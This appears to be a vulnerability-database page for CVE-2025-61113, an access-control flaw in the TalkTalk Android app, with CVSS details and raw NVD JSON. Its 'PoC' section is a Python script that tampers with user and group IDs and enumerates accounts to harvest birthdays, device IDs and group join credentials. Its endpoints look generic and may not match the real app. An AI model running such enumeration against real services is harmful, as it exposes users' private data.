Security Vulnerability Report
中文
CVE-2025-61113 CVSS 7.5 HIGH

CVE-2025-61113

Published: 2025-10-30 16:15:36
Last Modified: 2026-04-15 00:35:42

Description

TalkTalk 3.3.6 Android App contains improper access control vulnerabilities in multiple API endpoints. By modifying request parameters, attackers may obtain sensitive user information (such as device identifiers and birthdays) and access private group information, including join credentials. Successful exploitation may result in privacy breaches and unauthorized access to restricted resources.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

TalkTalk Android App < 3.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-61113 PoC - TalkTalk Android App Improper Access Control # Target: TalkTalk Android App 3.3.6 API endpoints class TalkTalkExploit: def __init__(self, base_url): self.base_url = base_url self.session = requests.Session() def get_user_info(self, target_user_id): """ Exploit improper access control to obtain sensitive user information by modifying user_id parameter in the request """ endpoint = f"{self.base_url}/api/user/profile" # Modifying user_id parameter to access other users' data payload = { "user_id": target_user_id, "fields": ["device_id", "birthday", "email", "phone"] } headers = { "Content-Type": "application/json", "User-Agent": "TalkTalk/3.3.6 Android" } response = self.session.post(endpoint, json=payload, headers=headers) return response.json() def get_group_info(self, group_id): """ Exploit to access private group information including join credentials by modifying group_id parameter """ endpoint = f"{self.base_url}/api/group/info" payload = { "group_id": group_id } headers = { "Content-Type": "application/json", "User-Agent": "TalkTalk/3.3.6 Android" } response = self.session.post(endpoint, json=payload, headers=headers) return response.json() def enumerate_users(self, start_id=1000, count=100): """ Enumerate and extract sensitive information from multiple users """ results = [] for user_id in range(start_id, start_id + count): try: user_data = self.get_user_info(str(user_id)) if user_data.get("status") == "success": results.append(user_data) except Exception as e: print(f"Error enumerating user {user_id}: {e}") return results # Example usage if __name__ == "__main__": # Replace with actual TalkTalk API endpoint exploit = TalkTalkExploit("https://api.talktalk-app.example.com") # Exploit to get specific user information target_user = "12345" user_info = exploit.get_user_info(target_user) print(f"Exploited user info: {json.dumps(user_info, indent=2)}") # Exploit to get private group information target_group = "67890" group_info = exploit.get_group_info(target_group) print(f"Exploited group info: {json.dumps(group_info, indent=2)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61113", "sourceIdentifier": "[email protected]", "published": "2025-10-30T16:15:36.017", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "TalkTalk 3.3.6 Android App contains improper access control vulnerabilities in multiple API endpoints. By modifying request parameters, attackers may obtain sensitive user information (such as device identifiers and birthdays) and access private group information, including join credentials. Successful exploitation may result in privacy breaches and unauthorized access to restricted resources."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://kar1oz.notion.site/TalkTalk-2619a473ecb28072b600dfcc7791c9d2", "source": "[email protected]"}]}}